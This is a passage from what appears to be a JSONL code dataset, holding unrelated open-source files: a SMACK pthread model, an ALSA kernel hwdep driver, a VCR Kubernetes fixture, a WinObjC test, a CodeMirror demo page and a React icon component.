parent to set child's thread ID in original pthread_t struct\n __VERIFIER_assume(ctid == *__newthread);\n\n // Cycle through thread statuses properly, as thread is started, run,\n // and stopped.\n __SMACK_code(\"$pthreadStatus[@] := $pthread_waiting;\", ctid);\n __SMACK_code(\"$pthreadStatus[@] := $pthread_running;\", ctid);\n __start_routine(__arg);\n __SMACK_code(\"$pthreadStatus[@] := $pthread_stopped;\", ctid);\n}\n\nint pthread_create(pthread_t *__newthread, __const pthread_attr_t *__attr,\n void *(*__start_routine)(void *), void *__arg) {\n\n // Add unreachable C-level call to __call_wrapper, so LLVM sees\n // the call to __call_wrapper and performs DSA on it.\n int x = __VERIFIER_nondet_int();\n __VERIFIER_assume(x == 0);\n if (x)\n __call_wrapper(__newthread, __start_routine, __arg);\n\n __SMACK_code(\"async call @(@, @, @);\", __call_wrapper, __newthread,\n __start_routine, __arg);\n pthread_t tmp = __VERIFIER_nondet_int();\n __SMACK_code(\"call @ := corral_getChildThreadID();\", tmp);\n __VERIFIER_assume(tmp < SMACK_MAX_THREADS);\n *__newthread = tmp;\n\n return 0;\n}\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\n//\n\n@class NSData, NSString;\n\n@protocol XCTestManager_TestsInterface\n- (void)_XCT_receivedAccessibilityNotification:(int)arg1 withPayload:(NSData *)arg2;\n- (void)_XCT_applicationWithBundleID:(NSString *)arg1 didUpdatePID:(int)arg2 andState:(unsigned long long)arg3;\n@end\n"} {"text": "#\n# Fluentd Kubernetes Metadata Filter Plugin - Enrich Fluentd events with\n# Kubernetes metadata\n#\n# Copyright 2015 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n---\nhttp_interactions:\n- request:\n method: get\n uri: https://localhost:8443/api/v1/namespaces/default/pods/fabric8-console-controller-98rqc\n body:\n encoding: US-ASCII\n string: ''\n headers:\n Accept:\n - \"*/*; q=0.5, application/xml\"\n Accept-Encoding:\n - gzip, deflate\n User-Agent:\n - Ruby\n response:\n status:\n code: 200\n message: OK\n headers:\n Content-Type:\n - application/json\n Date:\n - Fri, 08 May 2015 10:35:37 GMT\n Transfer-Encoding:\n - chunked\n body:\n encoding: UTF-8\n string: |-\n {\n \"kind\": \"Pod\",\n \"apiVersion\": \"v1\",\n \"metadata\": {\n \"name\": \"fabric8-console-controller-98rqc\",\n \"generateName\": \"fabric8-console-controller-\",\n \"namespace\": \"default\",\n \"selfLink\": \"/api/v1/namespaces/default/pods/fabric8-console-controller-98rqc\",\n \"uid\": \"c76927af-f563-11e4-b32d-54ee7527188d\",\n \"resourceVersion\": \"122\",\n \"creationTimestamp\": \"2015-05-08T09:22:42Z\",\n \"labels\": {\n \"component\": \"fabric8Console\"\n }\n },\n \"spec\": {\n \"volumes\": [\n {\n \"name\": \"openshift-cert-secrets\",\n \"hostPath\": null,\n \"emptyDir\": null,\n \"gcePersistentDisk\": null,\n \"gitRepo\": null,\n \"secret\": {\n \"secretName\": \"openshift-cert-secrets\"\n },\n \"nfs\": null,\n \"iscsi\": null,\n \"glusterfs\": null\n }\n ],\n \"containers\": [\n {\n \"name\": \"fabric8-console-container\",\n \"image\": \"fabric8/hawtio-kubernetes:latest\",\n \"ports\": [\n {\n \"containerPort\": 9090,\n \"protocol\": \"TCP\"\n }\n ],\n \"env\": [\n {\n \"name\": \"OAUTH_CLIENT_ID\",\n \"value\": \"fabric8-console\"\n },\n {\n \"name\": \"OAUTH_AUTHORIZE_URI\",\n \"value\": \"https://localhost:8443/oauth/authorize\"\n }\n ],\n \"resources\": {},\n \"volumeMounts\": [\n {\n \"name\": \"openshift-cert-secrets\",\n \"readOnly\": true,\n \"mountPath\": \"/etc/secret-volume\"\n }\n ],\n \"terminationMessagePath\": \"/dev/termination-log\",\n \"imagePullPolicy\": \"IfNotPresent\",\n \"capabilities\": {}\n }\n ],\n \"restartPolicy\": \"Always\",\n \"dnsPolicy\": \"ClusterFirst\",\n \"nodeName\": \"jimmi-redhat.localnet\"\n },\n \"status\": {\n \"phase\": \"Running\",\n \"Condition\": [\n {\n \"type\": \"Ready\",\n \"status\": \"True\"\n }\n ],\n \"hostIP\": \"172.17.42.1\",\n \"podIP\": \"172.17.0.8\",\n \"containerStatuses\": [\n {\n \"name\": \"fabric8-console-container\",\n \"state\": {\n \"running\": {\n \"startedAt\": \"2015-05-08T09:22:44Z\"\n }\n },\n \"lastState\": {},\n \"ready\": true,\n \"restartCount\": 0,\n \"image\": \"fabric8/hawtio-kubernetes:latest\",\n \"imageID\": \"docker://b2bd1a24a68356b2f30128e6e28e672c1ef92df0d9ec01ec0c7faea5d77d2303\",\n \"containerID\": \"docker://49095a2894da899d3b327c5fde1e056a81376cc9a8f8b09a195f2a92bceed459\"\n }\n ]\n }\n }\n http_version: \n recorded_at: Fri, 08 May 2015 10:35:37 GMT\nrecorded_with: VCR 2.9.3\n"} {"text": "/*\n * Hardware dependent layer\n * Copyright (c) by Jaroslav Kysela <perex@perex.cz>\n *\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n */\n\n#include <linux/major.h>\n#include <linux/init.h>\n#include <linux/slab.h>\n#include <linux/time.h>\n#include <linux/mutex.h>\n#include <sound/core.h>\n#include <sound/control.h>\n#include <sound/minors.h>\n#include <sound/hwdep.h>\n#include <sound/info.h>\n\nMODULE_AUTHOR(\"Jaroslav Kysela <perex@perex.cz>\");\nMODULE_DESCRIPTION(\"Hardware dependent layer\");\nMODULE_LICENSE(\"GPL\");\n\nstatic LIST_HEAD(snd_hwdep_devices);\nstatic DEFINE_MUTEX(register_mutex);\n\nstatic int snd_hwdep_free(struct snd_hwdep *hwdep);\nstatic int snd_hwdep_dev_free(struct snd_device *device);\nstatic int snd_hwdep_dev_register(struct snd_device *device);\nstatic int snd_hwdep_dev_disconnect(struct snd_device *device);\n\n\nstatic struct snd_hwdep *snd_hwdep_search(struct snd_card *card, int device)\n{\n\tstruct snd_hwdep *hwdep;\n\n\tlist_for_each_entry(hwdep, &snd_hwdep_devices, list)\n\t\tif (hwdep->card == card && hwdep->device == device)\n\t\t\treturn hwdep;\n\treturn NULL;\n}\n\nstatic loff_t snd_hwdep_llseek(struct file * file, loff_t offset, int orig)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tif (hw->ops.llseek)\n\t\treturn hw->ops.llseek(hw, file, offset, orig);\n\treturn -ENXIO;\n}\n\nstatic ssize_t snd_hwdep_read(struct file * file, char __user *buf,\n\t\t\t size_t count, loff_t *offset)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tif (hw->ops.read)\n\t\treturn hw->ops.read(hw, buf, count, offset);\n\treturn -ENXIO;\t\n}\n\nstatic ssize_t snd_hwdep_write(struct file * file, const char __user *buf,\n\t\t\t size_t count, loff_t *offset)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tif (hw->ops.write)\n\t\treturn hw->ops.write(hw, buf, count, offset);\n\treturn -ENXIO;\t\n}\n\nstatic int snd_hwdep_open(struct inode *inode, struct file * file)\n{\n\tint major = imajor(inode);\n\tstruct snd_hwdep *hw;\n\tint err;\n\twait_queue_t wait;\n\n\tif (major == snd_major) {\n\t\thw = snd_lookup_minor_data(iminor(inode),\n\t\t\t\t\t SNDRV_DEVICE_TYPE_HWDEP);\n#ifdef CONFIG_SND_OSSEMUL\n\t} else if (major == SOUND_MAJOR) {\n\t\thw = snd_lookup_oss_minor_data(iminor(inode),\n\t\t\t\t\t SNDRV_OSS_DEVICE_TYPE_DMFM);\n#endif\n\t} else\n\t\treturn -ENXIO;\n\tif (hw == NULL)\n\t\treturn -ENODEV;\n\n\tif (!try_module_get(hw->card->module))\n\t\treturn -EFAULT;\n\n\tinit_waitqueue_entry(&wait, current);\n\tadd_wait_queue(&hw->open_wait, &wait);\n\tmutex_lock(&hw->open_mutex);\n\twhile (1) {\n\t\tif (hw->exclusive && hw->used > 0) {\n\t\t\terr = -EBUSY;\n\t\t\tbreak;\n\t\t}\n\t\tif (!hw->ops.open) {\n\t\t\terr = 0;\n\t\t\tbreak;\n\t\t}\n\t\terr = hw->ops.open(hw, file);\n\t\tif (err >= 0)\n\t\t\tbreak;\n\t\tif (err == -EAGAIN) {\n\t\t\tif (file->f_flags & O_NONBLOCK) {\n\t\t\t\terr = -EBUSY;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} else\n\t\t\tbreak;\n\t\tset_current_state(TASK_INTERRUPTIBLE);\n\t\tmutex_unlock(&hw->open_mutex);\n\t\tschedule();\n\t\tmutex_lock(&hw->open_mutex);\n\t\tif (signal_pending(current)) {\n\t\t\terr = -ERESTARTSYS;\n\t\t\tbreak;\n\t\t}\n\t}\n\tremove_wait_queue(&hw->open_wait, &wait);\n\tif (err >= 0) {\n\t\terr = snd_card_file_add(hw->card, file);\n\t\tif (err >= 0) {\n\t\t\tfile->private_data = hw;\n\t\t\thw->used++;\n\t\t} else {\n\t\t\tif (hw->ops.release)\n\t\t\t\thw->ops.release(hw, file);\n\t\t}\n\t}\n\tmutex_unlock(&hw->open_mutex);\n\tif (err < 0)\n\t\tmodule_put(hw->card->module);\n\treturn err;\n}\n\nstatic int snd_hwdep_release(struct inode *inode, struct file * file)\n{\n\tint err = 0;\n\tstruct snd_hwdep *hw = file->private_data;\n\tstruct module *mod = hw->card->module;\n\n\tmutex_lock(&hw->open_mutex);\n\tif (hw->ops.release)\n\t\terr = hw->ops.release(hw, file);\n\tif (hw->used > 0)\n\t\thw->used--;\n\tmutex_unlock(&hw->open_mutex);\n\twake_up(&hw->open_wait);\n\n\tsnd_card_file_remove(hw->card, file);\n\tmodule_put(mod);\n\treturn err;\n}\n\nstatic unsigned int snd_hwdep_poll(struct file * file, poll_table * wait)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tif (hw->ops.poll)\n\t\treturn hw->ops.poll(hw, file, wait);\n\treturn 0;\n}\n\nstatic int snd_hwdep_info(struct snd_hwdep *hw,\n\t\t\t struct snd_hwdep_info __user *_info)\n{\n\tstruct snd_hwdep_info info;\n\t\n\tmemset(&info, 0, sizeof(info));\n\tinfo.card = hw->card->number;\n\tstrlcpy(info.id, hw->id, sizeof(info.id));\t\n\tstrlcpy(info.name, hw->name, sizeof(info.name));\n\tinfo.iface = hw->iface;\n\tif (copy_to_user(_info, &info, sizeof(info)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\nstatic int snd_hwdep_dsp_status(struct snd_hwdep *hw,\n\t\t\t\tstruct snd_hwdep_dsp_status __user *_info)\n{\n\tstruct snd_hwdep_dsp_status info;\n\tint err;\n\t\n\tif (! hw->ops.dsp_status)\n\t\treturn -ENXIO;\n\tmemset(&info, 0, sizeof(info));\n\tinfo.dsp_loaded = hw->dsp_loaded;\n\tif ((err = hw->ops.dsp_status(hw, &info)) < 0)\n\t\treturn err;\n\tif (copy_to_user(_info, &info, sizeof(info)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\nstatic int snd_hwdep_dsp_load(struct snd_hwdep *hw,\n\t\t\t struct snd_hwdep_dsp_image __user *_info)\n{\n\tstruct snd_hwdep_dsp_image info;\n\tint err;\n\t\n\tif (! hw->ops.dsp_load)\n\t\treturn -ENXIO;\n\tmemset(&info, 0, sizeof(info));\n\tif (copy_from_user(&info, _info, sizeof(info)))\n\t\treturn -EFAULT;\n\t/* check whether the dsp was already loaded */\n\tif (hw->dsp_loaded & (1 << info.index))\n\t\treturn -EBUSY;\n\tif (!access_ok(VERIFY_READ, info.image, info.length))\n\t\treturn -EFAULT;\n\terr = hw->ops.dsp_load(hw, &info);\n\tif (err < 0)\n\t\treturn err;\n\thw->dsp_loaded |= (1 << info.index);\n\treturn 0;\n}\n\nstatic long snd_hwdep_ioctl(struct file * file, unsigned int cmd,\n\t\t\t unsigned long arg)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tvoid __user *argp = (void __user *)arg;\n\tswitch (cmd) {\n\tcase SNDRV_HWDEP_IOCTL_PVERSION:\n\t\treturn put_user(SNDRV_HWDEP_VERSION, (int __user *)argp);\n\tcase SNDRV_HWDEP_IOCTL_INFO:\n\t\treturn snd_hwdep_info(hw, argp);\n\tcase SNDRV_HWDEP_IOCTL_DSP_STATUS:\n\t\treturn snd_hwdep_dsp_status(hw, argp);\n\tcase SNDRV_HWDEP_IOCTL_DSP_LOAD:\n\t\treturn snd_hwdep_dsp_load(hw, argp);\n\t}\n\tif (hw->ops.ioctl)\n\t\treturn hw->ops.ioctl(hw, file, cmd, arg);\n\treturn -ENOTTY;\n}\n\nstatic int snd_hwdep_mmap(struct file * file, struct vm_area_struct * vma)\n{\n\tstruct snd_hwdep *hw = file->private_data;\n\tif (hw->ops.mmap)\n\t\treturn hw->ops.mmap(hw, file, vma);\n\treturn -ENXIO;\n}\n\nstatic int snd_hwdep_control_ioctl(struct snd_card *card,\n\t\t\t\t struct snd_ctl_file * control,\n\t\t\t\t unsigned int cmd, unsigned long arg)\n{\n\tswitch (cmd) {\n\tcase SNDRV_CTL_IOCTL_HWDEP_NEXT_DEVICE:\n\t\t{\n\t\t\tint device;\n\n\t\t\tif (get_user(device, (int __user *)arg))\n\t\t\t\treturn -EFAULT;\n\t\t\tmutex_lock(&register_mutex);\n\t\t\tdevice = device < 0 ? 0 : device + 1;\n\t\t\twhile (device < SNDRV_MINOR_HWDEPS) {\n\t\t\t\tif (snd_hwdep_search(card, device))\n\t\t\t\t\tbreak;\n\t\t\t\tdevice++;\n\t\t\t}\n\t\t\tif (device >= SNDRV_MINOR_HWDEPS)\n\t\t\t\tdevice = -1;\n\t\t\tmutex_unlock(&register_mutex);\n\t\t\tif (put_user(device, (int __user *)arg))\n\t\t\t\treturn -EFAULT;\n\t\t\treturn 0;\n\t\t}\n\tcase SNDRV_CTL_IOCTL_HWDEP_INFO:\n\t\t{\n\t\t\tstruct snd_hwdep_info __user *info = (struct snd_hwdep_info __user *)arg;\n\t\t\tint device, err;\n\t\t\tstruct snd_hwdep *hwdep;\n\n\t\t\tif (get_user(device, &info->device))\n\t\t\t\treturn -EFAULT;\n\t\t\tmutex_lock(&register_mutex);\n\t\t\thwdep = snd_hwdep_search(card, device);\n\t\t\tif (hwdep)\n\t\t\t\terr = snd_hwdep_info(hwdep, info);\n\t\t\telse\n\t\t\t\terr = -ENXIO;\n\t\t\tmutex_unlock(&register_mutex);\n\t\t\treturn err;\n\t\t}\n\t}\n\treturn -ENOIOCTLCMD;\n}\n\n#ifdef CONFIG_COMPAT\n#include \"hwdep_compat.c\"\n#else\n#define snd_hwdep_ioctl_compat\tNULL\n#endif\n\n/*\n\n */\n\nstatic const struct file_operations snd_hwdep_f_ops =\n{\n\t.owner = \tTHIS_MODULE,\n\t.llseek =\tsnd_hwdep_llseek,\n\t.read = \tsnd_hwdep_read,\n\t.write =\tsnd_hwdep_write,\n\t.open =\t\tsnd_hwdep_open,\n\t.release =\tsnd_hwdep_release,\n\t.poll =\t\tsnd_hwdep_poll,\n\t.unlocked_ioctl =\tsnd_hwdep_ioctl,\n\t.compat_ioctl =\tsnd_hwdep_ioctl_compat,\n\t.mmap =\t\tsnd_hwdep_mmap,\n};\n\n/**\n * snd_hwdep_new - create a new hwdep instance\n * @card: the card instance\n * @id: the id string\n * @device: the device index (zero-based)\n * @rhwdep: the pointer to store the new hwdep instance\n *\n * Creates a new hwdep instance with the given index on the card.\n * The callbacks (hwdep->ops) must be set on the returned instance\n * after this call manually by the caller.\n *\n * Returns zero if successful, or a negative error code on failure.\n */\nint snd_hwdep_new(struct snd_card *card, char *id, int device,\n\t\t struct snd_hwdep **rhwdep)\n{\n\tstruct snd_hwdep *hwdep;\n\tint err;\n\tstatic struct snd_device_ops ops = {\n\t\t.dev_free = snd_hwdep_dev_free,\n\t\t.dev_register = snd_hwdep_dev_register,\n\t\t.dev_disconnect = snd_hwdep_dev_disconnect,\n\t};\n\n\tif (snd_BUG_ON(!card))\n\t\treturn -ENXIO;\n\tif (rhwdep)\n\t\t*rhwdep = NULL;\n\thwdep = kzalloc(sizeof(*hwdep), GFP_KERNEL);\n\tif (hwdep == NULL) {\n\t\tsnd_printk(KERN_ERR \"hwdep: cannot allocate\\n\");\n\t\treturn -ENOMEM;\n\t}\n\thwdep->card = card;\n\thwdep->device = device;\n\tif (id)\n\t\tstrlcpy(hwdep->id, id, sizeof(hwdep->id));\n#ifdef CONFIG_SND_OSSEMUL\n\thwdep->oss_type = -1;\n#endif\n\tif ((err = snd_device_new(card, SNDRV_DEV_HWDEP, hwdep, &ops)) < 0) {\n\t\tsnd_hwdep_free(hwdep);\n\t\treturn err;\n\t}\n\tinit_waitqueue_head(&hwdep->open_wait);\n\tmutex_init(&hwdep->open_mutex);\n\tif (rhwdep)\n\t\t*rhwdep = hwdep;\n\treturn 0;\n}\n\nstatic int snd_hwdep_free(struct snd_hwdep *hwdep)\n{\n\tif (!hwdep)\n\t\treturn 0;\n\tif (hwdep->private_free)\n\t\thwdep->private_free(hwdep);\n\tkfree(hwdep);\n\treturn 0;\n}\n\nstatic int snd_hwdep_dev_free(struct snd_device *device)\n{\n\tstruct snd_hwdep *hwdep = device->device_data;\n\treturn snd_hwdep_free(hwdep);\n}\n\nstatic int snd_hwdep_dev_register(struct snd_device *device)\n{\n\tstruct snd_hwdep *hwdep = device->device_data;\n\tint err;\n\tchar name[32];\n\n\tmutex_lock(&register_mutex);\n\tif (snd_hwdep_search(hwdep->card, hwdep->device)) {\n\t\tmutex_unlock(&register_mutex);\n\t\treturn -EBUSY;\n\t}\n\tlist_add_tail(&hwdep->list, &snd_hwdep_devices);\n\tsprintf(name, \"hwC%iD%i\", hwdep->card->number, hwdep->device);\n\tif ((err = snd_register_device(SNDRV_DEVICE_TYPE_HWDEP,\n\t\t\t\t hwdep->card, hwdep->device,\n\t\t\t\t &snd_hwdep_f_ops, hwdep, name)) < 0) {\n\t\tsnd_printk(KERN_ERR \"unable to register hardware dependent device %i:%i\\n\",\n\t\t\t hwdep->card->number, hwdep->device);\n\t\tlist_del(&hwdep->list);\n\t\tmutex_unlock(&register_mutex);\n\t\treturn err;\n\t}\n#ifdef CONFIG_SND_OSSEMUL\n\thwdep->ossreg = 0;\n\tif (hwdep->oss_type >= 0) {\n\t\tif ((hwdep->oss_type == SNDRV_OSS_DEVICE_TYPE_DMFM) && (hwdep->device != 0)) {\n\t\t\tsnd_printk (KERN_WARNING \"only hwdep device 0 can be registered as OSS direct FM device!\\n\");\n\t\t} else {\n\t\t\tif (snd_register_oss_device(hwdep->oss_type,\n\t\t\t\t\t\t hwdep->card, hwdep->device,\n\t\t\t\t\t\t &snd_hwdep_f_ops, hwdep,\n\t\t\t\t\t\t hwdep->oss_dev) < 0) {\n\t\t\t\tsnd_printk(KERN_ERR \"unable to register OSS compatibility device %i:%i\\n\",\n\t\t\t\t\t hwdep->card->number, hwdep->device);\n\t\t\t} else\n\t\t\t\thwdep->ossreg = 1;\n\t\t}\n\t}\n#endif\n\tmutex_unlock(&register_mutex);\n\treturn 0;\n}\n\nstatic int snd_hwdep_dev_disconnect(struct snd_device *device)\n{\n\tstruct snd_hwdep *hwdep = device->device_data;\n\n\tif (snd_BUG_ON(!hwdep))\n\t\treturn -ENXIO;\n\tmutex_lock(&register_mutex);\n\tif (snd_hwdep_search(hwdep->card, hwdep->device) != hwdep) {\n\t\tmutex_unlock(&register_mutex);\n\t\treturn -EINVAL;\n\t}\n#ifdef CONFIG_SND_OSSEMUL\n\tif (hwdep->ossreg)\n\t\tsnd_unregister_oss_device(hwdep->oss_type, hwdep->card, hwdep->device);\n#endif\n\tsnd_unregister_device(SNDRV_DEVICE_TYPE_HWDEP, hwdep->card, hwdep->device);\n\tlist_del_init(&hwdep->list);\n\tmutex_unlock(&register_mutex);\n\treturn 0;\n}\n\n#ifdef CONFIG_PROC_FS\n/*\n * Info interface\n */\n\nstatic void snd_hwdep_proc_read(struct snd_info_entry *entry,\n\t\t\t\tstruct snd_info_buffer *buffer)\n{\n\tstruct snd_hwdep *hwdep;\n\n\tmutex_lock(&register_mutex);\n\tlist_for_each_entry(hwdep, &snd_hwdep_devices, list)\n\t\tsnd_iprintf(buffer, \"%02i-%02i: %s\\n\",\n\t\t\t hwdep->card->number, hwdep->device, hwdep->name);\n\tmutex_unlock(&register_mutex);\n}\n\nstatic struct snd_info_entry *snd_hwdep_proc_entry;\n\nstatic void __init snd_hwdep_proc_init(void)\n{\n\tstruct snd_info_entry *entry;\n\n\tif ((entry = snd_info_create_module_entry(THIS_MODULE, \"hwdep\", NULL)) != NULL) {\n\t\tentry->c.text.read = snd_hwdep_proc_read;\n\t\tif (snd_info_register(entry) < 0) {\n\t\t\tsnd_info_free_entry(entry);\n\t\t\tentry = NULL;\n\t\t}\n\t}\n\tsnd_hwdep_proc_entry = entry;\n}\n\nstatic void __exit snd_hwdep_proc_done(void)\n{\n\tsnd_info_free_entry(snd_hwdep_proc_entry);\n}\n#else /* !CONFIG_PROC_FS */\n#define snd_hwdep_proc_init()\n#define snd_hwdep_proc_done()\n#endif /* CONFIG_PROC_FS */\n\n\n/*\n * ENTRY functions\n */\n\nstatic int __init alsa_hwdep_init(void)\n{\n\tsnd_hwdep_proc_init();\n\tsnd_ctl_register_ioctl(snd_hwdep_control_ioctl);\n\tsnd_ctl_register_ioctl_compat(snd_hwdep_control_ioctl);\n\treturn 0;\n}\n\nstatic void __exit alsa_hwdep_exit(void)\n{\n\tsnd_ctl_unregister_ioctl(snd_hwdep_control_ioctl);\n\tsnd_ctl_unregister_ioctl_compat(snd_hwdep_control_ioctl);\n\tsnd_hwdep_proc_done();\n}\n\nmodule_init(alsa_hwdep_init)\nmodule_exit(alsa_hwdep_exit)\n\nEXPORT_SYMBOL(snd_hwdep_new);\n"} {"text": "//******************************************************************************\n//\n// Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n//\n// This code is licensed under the MIT License (MIT).\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n//\n//******************************************************************************\n\n#import <TestFramework.h>\n#import <Foundation/Foundation.h>\n#import <UWP/WindowsFoundation.h>\n#import <UWP/WindowsStorage.h>\n\nclass NSBundleTests {\npublic:\n BEGIN_TEST_CLASS(NSBundleTests)\n END_TEST_CLASS()\n\n TEST_CLASS_SETUP(NSURLClassSetup) {\n return FunctionalTestSetupUIApplication();\n }\n\n TEST_CLASS_CLEANUP(NSBundleCleanup) {\n return FunctionalTestCleanupUIApplication();\n }\n\n TEST_METHOD(MSAppxURL) {\n LOG_INFO(\"MSAppxURL test: \");\n\n NSURL* resourceURL = [[NSBundle mainBundle] URLForResource:@\"FunctionalTests\" withExtension:@\"dll\"];\n NSURL* msAppxURL = [[NSBundle mainBundle] _msAppxURLForResourceWithURL:resourceURL];\n ASSERT_OBJCEQ([NSURL URLWithString:[@\"ms-appx:///\" stringByAppendingString:[resourceURL lastPathComponent]]], msAppxURL);\n\n WFUri* msAppxURI = [WFUri makeUri:msAppxURL.absoluteString];\n\n // Verify that the file can be accessed\n __block BOOL success = NO;\n __block BOOL signaled = NO;\n __block NSCondition* condition = [[NSCondition new] autorelease];\n\n [WSStorageFile getFileFromApplicationUriAsync:msAppxURI\n success:^void(WSStorageFile* file) {\n [condition lock];\n success = YES;\n signaled = YES;\n [condition signal];\n [condition unlock];\n }\n failure:^void(NSError* error) {\n LOG_ERROR([[error description] UTF8String]);\n [condition lock];\n signaled = YES;\n [condition signal];\n [condition unlock];\n }];\n\n [condition lock];\n ASSERT_TRUE(signaled || [condition waitUntilDate:[NSDate dateWithTimeIntervalSinceNow:2]]);\n [condition unlock];\n\n ASSERT_EQ(YES, success);\n }\n};"} {"text": "<!DOCTYPE html>\n<html>\n<head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n <script type=\"text/javascript\" src=\"../helper.js\"></script>\n</head>\n<body>\n\n</body>\n</html>\n"} {"text": "<!doctype html>\n\n<title>CodeMirror: ASN.1 mode</title>\n<meta charset=\"utf-8\"/>\n<link rel=stylesheet href=\"../../doc/docs.css\">\n\n<link rel=\"stylesheet\" href=\"../../lib/codemirror.css\">\n<script src=\"../../lib/codemirror.js\"></script>\n<script src=\"asn.1.js\"></script>\n<style type=\"text/css\">\n .CodeMirror {\n border-top: 1px solid black;\n border-bottom: 1px solid black;\n }\n</style>\n<div id=nav>\n <a href=\"http://codemirror.net\"><h1>CodeMirror</h1>\n <img id=logo src=\"../../doc/logo.png\">\n </a>\n\n <ul>\n <li><a href=\"../../index.html\">Home</a>\n <li><a href=\"../../doc/manual.html\">Manual</a>\n <li><a href=\"https://github.com/codemirror/codemirror\">Code</a>\n </ul>\n <ul>\n <li><a href=\"../index.html\">Language modes</a>\n <li><a class=active href=\"http://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One\">ASN.1</a>\n </ul>\n</div>\n<article>\n <h2>ASN.1 example</h2>\n <div>\n <textarea id=\"ttcn-asn-code\">\n --\n -- Sample ASN.1 Code\n --\n MyModule DEFINITIONS ::=\n BEGIN\n\n MyTypes ::= SEQUENCE {\n myObjectId OBJECT IDENTIFIER,\n mySeqOf SEQUENCE OF MyInt,\n myBitString BIT STRING {\n muxToken(0),\n modemToken(1)\n }\n }\n\n MyInt ::= INTEGER (0..65535)\n\n END\n </textarea>\n </div>\n\n <script>\n var ttcnEditor = CodeMirror.fromTextArea(document.getElementById(\"ttcn-asn-code\"), {\n lineNumbers: true,\n matchBrackets: true,\n mode: \"text/x-ttcn-asn\"\n });\n ttcnEditor.setSize(400, 400);\n var mac = CodeMirror.keyMap.default == CodeMirror.keyMap.macDefault;\n CodeMirror.keyMap.default[(mac ? \"Cmd\" : \"Ctrl\") + \"-Space\"] = \"autocomplete\";\n </script>\n <br/>\n <p><strong>Language:</strong> Abstract Syntax Notation One\n (<a href=\"http://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx\">ASN.1</a>)\n </p>\n <p><strong>MIME types defined:</strong> <code>text/x-ttcn-asn</code></p>\n\n <br/>\n <p>The development of this mode has been sponsored by <a href=\"http://www.ericsson.com/\">Ericsson\n </a>.</p>\n <p>Coded by Asmelash Tsegay Gebretsadkan </p>\n</article>\n\n"} {"text": "// @flow\n/* eslint-disable react/jsx-sort-props */\nimport * as React from 'react';\nimport * as vars from '../../styles/variables';\nimport AccessibleSVG from '../../icons/accessible-svg';\nimport type { Icon } from '../../icons/flowTypes';\n\n/**\n * This is an auto-generated component and should not be edited\n * manually in contributor pull requests.\n *\n * If you have problems with this component:\n * - https://github.com/box/box-ui-elements/issues/new?template=Bug_report.md\n *\n * If there are missing features in this component:\n * - https://github.com/box/box-ui-elements/issues/new?template=Feature_request.md\n */\n\nconst FileVector32 = (props: Icon) => (\n <AccessibleSVG width={32} height={32} viewBox=\"0 0 32 32\" {...props}>\n <g fill=\"none\">\n <path\n fill=\"#F7931D\"\n d=\"M9 3h9.586a1 1 0 01.707.293l6.415 6.414a1 1 0 01.293.707V26A3 3 0 0123 29H9a3 3 0 01-3-3V6a3 3 0 013-3z\"\n />\n <path\n fill={vars.white}\n fillOpacity={0.5}\n d=\"M19.286 3.286l5.01 5.009 1.412 1.412a1 1 0 01.203.293H21a2 2 0 01-2-2V3.09a1 1 0 01.286.196z\"\n />\n <path\n fill={vars.white}\n d=\"M13.195 17.07l.005.01c.12.312.292.6.504.851l-.424.254c-1.414.847-2.452 2.33-2.715 3.992a1 1 0 11-.999-.078c.289-1.994 1.516-3.763 3.2-4.772l.43-.257zm5.618.003l.429.256c1.687 1.008 2.91 2.77 3.197 4.77a1 1 0 11-1.002.073c-.26-1.664-1.293-3.14-2.708-3.985l-.43-.256.013-.019c.194-.235.354-.5.47-.787l.03-.052zM16 14a2 2 0 011.937 1.5h4.592c.26 0 .471.21.471.47v.06c0 .26-.21.47-.47.47l-4.593.001a2 2 0 01-3.874 0L9.471 16.5a.47.47 0 01-.47-.47v-.06c0-.26.21-.47.47-.47h4.592A2 2 0 0116 14zm0 1a1 1 0 00-1 .98v.039l.007.098A1 1 0 1016 15z\"\n />\n </g>\n </AccessibleSVG>\n);\n\nexport default FileVector32;\n"} {"text": "铘\n"} {"text": "{\n \"type\": \"statement\",\n \"variant\": \"list\",\n \"statement\": [\n {\n \"type\": \"statement\",\n \"name\": {\n 